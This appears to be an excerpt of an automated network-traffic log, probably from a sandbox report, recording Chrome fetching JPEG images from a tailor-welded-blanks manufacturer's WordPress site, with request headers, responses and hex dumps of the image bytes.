2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 06 b2 84 27 84 a2 a4 b9 55 4d 80 11 2f 70 dc a5 d5 dd dd 7b 63 f9 ca fc c7 08 bb 6d 6f 5a fe 24 56 ad 7d 45 d8 25 f9 94 79 3b 96 71 a4 a3 bb 2d 4c c5 ab d7 32 b2 d0 dd 97 f0 ac 77 79 bd dd 47 a5 cc 64 ec e6 13 de 54 93 f8 97 b4 a5 cd e4 ae e5 e4 d4 95 61 a9 98 b3 07 4d e8 ce 0a 51 75 4f 13 46 c8 96 e7 2c bb 7a 5d 96 fb 4b 4b 8b db 1f 6a 25 39 26 93 4e a9 e2 9a 21 ae 77 a0 a6 aa d5 75 35 b5 3d 28 a8 e1 7b b6 ee df e1 77 9e 15 71 8d 7e 57 8c 19 73 bc 8a 6e 2f 07 67 37 97 ce db c3 7b f8 73 6b 54 a3 8c 5f 50 2f b5 8e 5f 8a ac af 0c bb c3 6e 5b 7e 32 de 84 5f c3 49 69 a9 03 2b 3d cb 9e 1c bb b3 d1 ce 74 cd b8 de 8c 33 71 54 73 54 b8 96 a9 2d 24 69 57 06 b5 17 75 16 b6 e8 d3 5b 0b 3e 15 7f c3 b8 ed 49 e1 2d 1e cf 77 51 51 66 6a 51 8d c4 f4 Data Ascii: 'UM/p{cmoZ$V}E%y;q-L2wyGdTaMQuOF,z]KKj%9&N!wu5=({wq~Wsn/g7{skT_P/_n[~2_Ii+=t3qTsT-$iWu[>I-wQQfjQ
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 79 9b cf 1a e3 c8 da 31 e6 6f 3d 2d f5 c9 7a 98 ed 0c 5a 02 b1 66 6f 6a 97 a5 bf 5b 1e 3d dd 3b ce bf 8a 5f bc 3b 18 b3 05 67 8f 7b e6 7d 6f de 3c 7b df 33 f4 93 b1 8b 30 55 bb f7 34 57 0d 95 7e f3 3e 62 f7 cc c7 63 16 60 ac f3 17 9e 99 3f 4a f5 31 e6 2f 7c cf d2 5e c6 2c c1 56 ef dd f9 99 9f 1a f6 b9 b1 d8 c5 98 2b 7c 6b bf 33 31 e3 5c f9 87 63 16 60 ac f1 ae ea 90 f1 ee fc cc 69 8b 30 56 ab d7 7e 66 65 5e bb f3 37 d6 34 c5 88 20 2b d7 69 de c0 78 b7 76 fa 5f bc 69 89 e0 af f1 67 b5 fe d4 bf 78 ca b9 3d 35 78 7e 94 bf 78 69 89 e0 81 e3 5d d3 5c 79 df bc 78 f7 76 fa fd e3 4c 4f 04 0f 1a ee b6 fa da f6 99 f1 6e ed 7d 6f de 34 c4 e0 41 57 6e bd bd 6c cf 89 73 6b eb 63 61 89 a0 89 1b d7 52 f7 e2 63 c7 bb f9 7f c0 6c 32 a6 02 1f 8f 73 6b eb 5f ba 65 df b9 b5 Data Ascii: y1o=-zZfoj[=;_;g{}o<{30U4W~>bc`?J1/\|^,V+\|k31\c`i0V~fe^74 +ixv_igx=5x~xi]\yxvLOn}o4AWnlskcaRcl2sk_e
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 74 8f b1 23 47 91 8b a5 25 4d b8 57 da 4b 06 b0 42 7c 36 db 5d e7 f9 74 9a ae 17 05 f1 2a 7e 1f ce 4f 04 c8 21 c3 87 42 32 52 de ad 35 6e a5 ea 30 f8 7d 57 7d 37 cc ff 00 78 9a 06 41 5e f2 37 56 2a 9d 0f f3 23 47 97 cd 45 68 93 5b 1d 25 ed 91 66 06 41 52 a1 76 3d a9 42 51 7f 0e ea dd c7 a9 11 a7 6e e3 6d c6 dc d4 b5 3d e9 32 fc 0e a2 8d 65 73 37 b7 23 1b 78 41 56 53 75 ac a4 d6 38 ba 2c 1e c1 3c 86 66 38 b8 be 85 5f 51 78 07 51 e6 e4 d4 23 27 37 ba 96 96 f4 75 9c ec dc b7 72 dc 37 1a 96 ea a4 9c 5a 6a af 1a 61 ac 93 9f b6 9d fb 96 da 52 8c aa 9c 69 83 4d bc 1a 23 5a b3 6e c4 15 bb 50 8d bb 7a 63 18 24 a3 d1 43 22 42 d0 71 7a 4e ab 41 c9 eb 22 b5 9f 70 cb ef 3e 73 13 fe 59 97 de 7c e1 1b 47 f9 b0 e5 f7 18 46 57 f3 6d fe 5a 8d 57 bc 0d a1 de 13 ef 88 f7 8c Data Ascii: t#G%MWKB\|6]t~O!B2R5n0}W}7xA^7V#GEh[%fARv=BQnm=2es7#xAVSu8,<f8_QxQ#'7ur7ZjaRiM#ZnPzc$C"BqzNA"p>sY\|GFWmZW
2024-10-07 11:17:39 UTC	7380	IN	Data Raw: 26 9c 2d c2 4f 52 94 77 97 53 25 bb 4e fc d5 c9 5b 85 98 d1 2d cb 6b 75 3e 56 b5 01 a5 a8 39 ba bd 04 a5 44 a8 b4 05 14 b0 5a 0c d0 2b 21 18 32 b0 03 64 62 5a 0c 54 d6 72 c0 03 a1 ab 66 ae 46 ae 55 20 cb 92 af 40 94 9a 84 a5 a1 a8 b6 9e c7 4c 18 b6 ab 88 ba ab 6a e2 5f 2c bd 40 79 86 db 55 6e ad e9 7b 59 ae 97 ce 65 d2 88 da d4 77 a6 54 5a f0 d8 52 0e 4c ce 69 d6 49 6c f6 92 32 f6 d5 bc b2 db 22 25 de d5 d7 ce 41 a2 5d 9c 4d 5a a1 d5 aa b3 14 54 e6 2a 2c 2c 71 8f 0f 85 dc c8 4a 0e 52 75 50 9e a4 9b ab 2b 69 a9 18 6a 8c e9 05 f1 6b d4 07 4b 73 71 49 6a a9 da 53 6d 2c 4e 16 eb 5a bd 08 91 94 b3 3c de 62 16 6d ad 2f 17 b1 6b 22 ae f8 06 57 b2 f3 53 5a 70 87 bc ba 34 b5 6a 36 6d c6 dc 3b b1 54 46 e6 e4 c6 80 01 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &-ORwS%N[-ku>V9DZ+!2dbZTrfFU @Lj_,@yUn{YewTZRLiIl2"%A]MZT*,,qJRuP+ijkKsqIjSm,NZ<bm/k"WSZp4j6m;TF@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49968	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	965	OUT	GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:56:03 GMT Accept-Ranges: bytes Content-Length: 29948 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 72 bf ec 3d ca 74 11 a4 5d 38 78 9f 91 b5 fe b7 b0 7e 4b 2f eb 7b 0f 6f 4a e4 34 ae 42 e9 c3 e6 2e fa 3d d9 3a 46 e3 c3 a6 86 96 3d 1e ed 7c 52 af 2c 4f 7a 56 a2 df c3 ed 11 b6 d2 a6 9a 76 8a 4c 79 d1 f4 54 d7 c7 de 1f a2 25 f8 93 ef 3d 35 16 b8 3e f2 68 f9 3e f2 51 e6 2f 46 5c fd a5 2e 7a 54 d4 e3 6e cd b7 39 cb 19 4e 52 d3 6e 11 e9 e2 db e4 bb 4f 5a 92 0a 52 83 aa 4d e1 46 ab ee e0 5c d1 e5 4b d0 77 4d ff 00 2f 75 1b 71 e1 17 6f cc 7f c5 aa 25 97 a0 ee 12 c7 75 19 3f fd ba 7b a6 7a ce fd a5 f1 cb 47 ef f8 7f ea 27 cd b5 4a eb 8d 39 d5 15 1e 4c 7d 12 f2 ab 95 c8 cb 0c 12 d5 1c 7a 71 66 76 76 17 9c a5 6e fc 1d 9b b1 c5 38 cf 5d b9 c7 e6 84 b0 6b 3c a4 bb cf 6b ce b4 f2 92 97 44 7c 4f b9 19 cd ca 4e aa 2d 51 34 97 5b 58 be e1 a3 ce fc be 6b 05 39 2f f1 15 Data Ascii: r=t]8x~K/{oJ4B.=:F=\|R,OzVvLyT%=5>h>Q/F\.zTn9NRnOZRMF\KwM/uqo%u?{zG'J9L}zqfvvn8]k<kD\|ON-Q4[Xk9/
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 47 4a bc 9b a2 25 dd 8f 33 90 81 47 62 bb 15 8e 45 e1 7e 11 54 8e 3e c3 8a b8 50 57 a4 0e ef 3b 9a aa 27 cf 86 35 54 38 35 74 93 57 cc 0e d5 b8 85 78 b4 5d 6e a1 4a 35 5f 79 e7 eb 64 6b 60 7a 33 bf 09 d3 44 34 34 b1 75 ad 7a 49 85 d8 ac e3 a9 51 55 37 c7 b0 f3 95 d9 73 27 cd 97 30 3d 07 7a 18 a5 6d 51 ba a4 db c1 72 34 5b a4 9a 7e 54 1b 59 d6 ae a7 97 e7 48 ba bd 2a 01 e9 2d e5 25 55 62 d5 3e 5a 3a 7b cb 2d cc 9d c7 e5 da 82 6f f0 a5 55 ef 3c bf 36 5c d1 75 b8 b8 95 15 12 e3 4e 20 74 5c 9c bc da 3a 55 47 1a 64 aa 5a 37 e5 05 87 17 9f 49 ca af f8 9d 7a 11 67 75 38 a5 ca ad 94 6b 7a fb 71 a3 6f 17 c3 03 ae d6 ea 54 56 dd 74 f0 8f 51 e6 4a 51 93 8a 75 cf 81 d2 a7 4e 3d 40 76 ab 97 ae 28 24 9c 96 55 d5 8f 3e 3c 0e 7d d2 d3 07 72 b9 c9 26 dd 53 55 79 94 57 9d Data Ascii: GJ%3GbE~T>PW;'5T85tWx]nJ5_ydk`z3D44uzIQU7s'0=zmQr4[~TYH*-%Ub>Z:{-oU<6\uN t\:UGdZ7Izgu8kzqoTVtQJQuN=@v($U><}r&SUyW
2024-10-07 11:17:39 UTC	5990	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 82 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac e1 0b 91 71 9c 54 a2 f3 4d 55 1e 66 ef d0 ec dc ac f6 ef cb 9b fc 2f e1 67 aa 00 f9 fb 7e 89 bb 9c a9 76 4a 11 f9 ab 5e e3 d0 b1 e8 bb 2b 58 ca 2e e4 b8 b6 fe e3 d0 05 a4 73 ad 8e cd 2a 2b 30 a3 fd 94 63 7f d1 bd 3e fc 5a 95 ad 3d 31 c3 f5 1d c0 83 e5 bd 43 fb 7b 71 b7 83 9e d9 f9 f6 a3 8e 8a 78 97 4a fd 47 8e e2 f1 4f 35 9c 5e 67 e8 27 9f bf f4 7d a6 f5 39 35 e5 de e1 72 3f 6f 32 df ca 47 c2 5c db ea 6e 50 aa 7c d7 da 64 e3 38 61 2c 57 cc 8f 63 d4 3d 3f 73 b0 9a 8e e2 2e 50 7f 05 d8 71 fb fb 4e 49 42 2d 73 fd a5 f6 a0 38 93 2c a5 4e b2 f7 2c b8 bf 0f 13 3c 6b 88 1b 42 ef 06 6b Data Ascii: @qTMUf/g~vJ^+X.s*+0c>Z=1C{qxJGO5^g'}95r?o2G\nP\|d8a,Wc=?s.PqNIB-s8,N,<kBk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49969	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	661	OUT	GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:48 GMT Accept-Ranges: bytes Content-Length: 48439 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<1http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: d6 56 6e d9 7f 15 eb 3b 55 b9 63 d3 17 a8 4c 45 61 5f 57 20 b9 b8 d3 c3 ba bd 4f 46 31 5d d3 ca be a1 fe a5 b0 7e 86 fd c5 2c ed b1 ab 37 57 6b b7 c6 dc bd da 1d f9 eb 5c 6c 6e e6 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 49 81 44 ac c2 5c 50 18 b7 b6 cb 37 13 aa 02 27 2f a6 ec 5c 4f e1 03 5e dc 3a 3a 12 52 71 88 1a be e1 d2 17 20 db 50 64 1a fe 5f 4f 5f b4 df c2 c0 8b bb 83 76 15 54 28 b5 09 df b3 25 28 37 09 2e 0d 68 4b 06 54 f3 f1 f2 ed f8 3b 8e 3c 72 22 f4 73 7a 48 cf 81 19 97 d1 db 6d e6 ee ed 59 6e c5 f6 eb e1 4d e9 5e e3 36 36 c8 da fa cb cc 1e 91 9f 85 71 ce f6 1f 09 5b b9 f9 96 a5 1f 6d 4c 68 d8 71 3a 97 cb 6e ab 92 7b 8d 99 6c 3b ac b8 65 62 ff 00 29 cb be 76 f8 14 4d 43 1b af 3a 7a cc 72 70 2e da ea 6d 92 2b e1 9d a6 e7 28 c7 Data Ascii: Vn;UcLEa_W OF1]~,7Wk\lnID\P7'/\O^::Rq Pd_O_vT(%(7.hKT;<r"szHmYnM^66q[mLhq:n{l;eb)vMC:zrp.m+(
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 55 a4 d5 54 1d b8 3f da 3d 2e 30 df 44 f4 8f 66 ed 90 bd 76 62 ff 00 68 f4 62 9f f4 3f 4b eb cb bc 5c 5f c5 8e ff 00 63 35 e9 30 97 41 6c 32 a2 86 fb a7 74 b1 e6 8b e8 c6 76 3f 95 fb 24 f0 ee 4e ee f1 44 9a a5 db 76 a4 d2 5e 94 cb e8 62 4b cb 4d a1 6b 63 a8 6d ca 9c 15 cb 32 8f be 84 f4 2c 65 f9 77 91 76 70 8e 36 76 25 e5 4d 67 ce e2 9f f7 91 3d 0b 5f f6 a7 7c a7 c1 7f 0e 5d aa 97 a3 f6 17 d0 2f 2b 7a 9e 29 f2 fe 9e 55 e1 cb 7e 1f 6a 1e 83 fe d7 f5 63 49 2b 30 6f bd 5e 85 3e b1 ea 98 bf 81 e5 af 54 ac c8 46 ee 2b 84 6b ac f9 e2 e3 f4 32 fa a2 43 71 f2 cf ab e5 73 9f 1e 30 e4 6b e5 57 92 7f 4b 44 fa 21 e5 d0 9d 6d 66 52 77 31 6e f2 d2 89 c6 7c fa ff 00 66 45 f5 60 b9 67 65 f3 0e d4 23 08 da cf 51 5a 24 9c e9 f5 8d a9 8c ab 58 7e 64 63 55 c1 6e 11 e6 e2 be Data Ascii: UT?=.0Dfvbhb?K\_c50Al2tv?$NDv^bKMkcm2,ewvp6v%Mg=_\|]/+z)U~jcI+0o^>TF+k2Cqs0kWKD!mfRw1n\|fE`ge#QZ$X~dcUn
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 00 00 00 00 00 f2 4a a9 81 aa 75 4e 2a 95 99 3a 76 01 c3 f7 bb 0e de e1 7a d2 8d 5b 75 5e a6 72 e9 d6 24 f6 a7 15 b5 62 37 16 a5 08 f2 b4 fb a2 e8 ce 75 53 78 19 71 b3 7e cd e6 ff 00 97 35 09 ff 00 0c 84 1b 16 0e 1d ac 7d c3 35 db 5c 8e 4e 12 ad 29 58 cd 0a ad 9f 12 e4 63 89 18 2d 7b 5a ec a9 96 a4 57 07 0a b7 4e 04 66 c6 8b d7 7d 49 6e c7 36 1d b6 93 6e b7 68 fe 83 58 8d 73 03 22 e5 cb 35 92 d6 e6 be c1 88 c3 dc f7 75 62 e7 e9 6c 2e 6b 8b f9 93 7c 23 5e cf 59 d7 9e 59 b5 ee d3 79 b9 b9 4e ad be 2d 9d 59 4a e7 4e 13 b3 a2 08 d6 32 71 ae 39 ba 44 49 a3 16 58 f7 13 4e 8f 89 6a eb 65 e9 ac ea c5 42 5f ce b7 a3 6f 8b 5d e7 1e e3 5c b7 7c be 9d ca df 36 b4 ac 2a df b3 ad b6 f8 4b d1 53 9f 3f ab 5a 95 8e 94 df 6f 67 3c 58 60 dc 8e 45 69 27 28 d1 2f 4b 97 0a 1d Data Ascii: JuN:vz[u^r$b7uSxq~5}5\N)Xc-{ZWNf}In6nhXs"5ubl.k\|#^YYyN-YJN2q9DIXNjeB_o]\\|6KS?Zog<X`Ei'(/K
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 8b 7e 4a 17 7b 93 7a 54 48 8e b3 bb ed 18 9b c6 07 2d 53 6d 56 cd de 2a 8d 7d 47 59 cb 15 c3 ba af a5 32 b6 cc b9 d6 db 56 db ac a1 dd e9 46 76 c5 c4 e7 47 79 a7 9b b4 d8 b5 b7 ee 90 79 78 76 d5 2d dd 8e b7 a1 1e c8 bf c4 74 9d 33 8d ff 00 1b cc fe 8e bd 69 5c fd 63 b6 df dc 9c 24 a4 bd d5 12 a2 f2 f3 1b a3 db a2 cf 8d 7f 86 5f 61 74 60 e4 f9 ad d3 16 f9 d5 a7 76 f4 a3 f2 a8 c2 8a 5e d6 3d 2b 42 ea 8e b3 cc df ae 28 38 ac 7c 38 3a c6 cc 5d 6b e9 93 39 da be 5a b2 cd 96 4e 44 71 31 53 b8 93 a4 b9 75 72 93 e1 15 df 53 19 aa dd b7 dc 28 74 e7 4a d9 da ee 35 fd 5f 74 9a bf 9d 4d 5c 22 b8 42 bd dd 85 b3 13 5a c6 24 52 fd a4 95 51 b9 3b 56 e1 3d c3 22 ea 4e 71 bd 3e 6b 72 af ca a9 c0 dc e8 6d 58 30 bb 6b 16 d5 b9 be 79 46 3f 14 bb ce 5d 51 83 ba ef 3f a7 ad ab Data Ascii: ~J{zTH-SmV*}GY2VFvGyyxv-t3i\c$_at`v^=+B(8\|8:]k9ZNDq1SurS(tJ5_tM\"BZ$RQ;V="Nq>krmX0kyF?]Q?
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: f3 4a 2a 9e d3 3d 7e 35 cb 93 64 7c 7b ae dd 09 76 5e e7 d7 f7 21 29 1c 23 ac 6d 18 ca 2e d4 17 a3 eb 0b 11 bb 95 b7 3c df 0e 29 b7 18 76 7a c2 55 1b 1c 5c 72 f3 53 54 97 c2 a8 fb 90 22 42 51 73 ba d5 29 05 ab f4 b0 af 74 51 af 08 ae e2 2a 36 f4 1d ce 69 cb 49 9a 8c a2 72 b0 dd ca 39 69 25 aa a0 4a 8b ba a5 62 e3 85 c5 49 2d 68 19 47 6e 7b 7c b2 7f cc e3 3e 5c c8 ad 57 05 3f 44 8a 8c 1c 3c f8 ca 4e d4 fe 0b d0 d2 76 df 63 f4 16 2c 48 55 3f 97 81 5a 46 ee 1b 1e 16 6d c5 29 56 d5 ef bb 7a 1a 49 7b 8a cd 46 bb 9d 41 b6 3a 49 7e bf 1a 2e 8a 4b e6 4b d4 c2 32 71 7a 97 6d c8 97 24 e5 e0 dd e0 e1 73 e1 d4 98 24 55 e8 4e 35 84 94 97 63 4c 60 a6 52 a7 af bb b4 a8 b6 e7 de 51 e3 7e d0 31 73 f1 ff 00 55 08 45 df b9 61 42 6a 6d db 74 e6 a7 63 7d cc 83 21 4f 45 f5 0c Data Ascii: J=~5d\|{v^!)#m.<)vzU\rST"BQs)tQ6iIr9i%JbI-hGn{\|>\W?D<Nvc,HU?ZFm)VzI{FA:I~.KK2qzm$s$UN5cL`RQ~1sUEaBjmtc}!OE
2024-10-07 11:17:39 UTC	481	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49970	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	663	OUT	GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 14 Feb 2018 14:30:19 GMT Accept-Ranges: bytes Content-Length: 18553 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 57 d6 d9 2b 31 a4 e9 1e ff 00 ca 0e 36 8b 90 1d 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 f7 bf e8 fa 75 9d 3f c3 64 84 7d ec 6b 87 4f 1d 53 ad 52 21 e2 dc ce 0b da 67 8d 67 9c 33 cf ba 8c ba d7 a6 62 b1 1a cc 35 d7 6d 7b 5e 6d 93 e0 a4 4f 1b 5b 4f 67 06 36 9a 4e b1 59 d2 27 8c eb e5 1c fd 8e 79 b8 c3 4d 73 6b 5a de 73 ca 21 bb 1d 27 26 48 c7 5e 55 f1 f4 f8 b5 d6 71 c7 29 f8 be e4 bc 76 a6 d3 6b 39 ef ce 79 20 f7 71 97 1e c7 6b 69 d7 4b cc 73 f4 b8 ad f6 e6 73 e6 9d 79 25 f7 3e e9 93 75 92 6b 13 f0 ab ba 26 67 d3 25 a9 52 7b 66 c3 26 fb 75 5a 52 23 4f 3f 08 88 e7 69 Data Ascii: W+16@u?d}kOSR!gg3b5m{^mO[Og6NY'yMskZs!'&H^Uq)vk9y qkiKssy%>uk&g%R{f&uZR#O?i
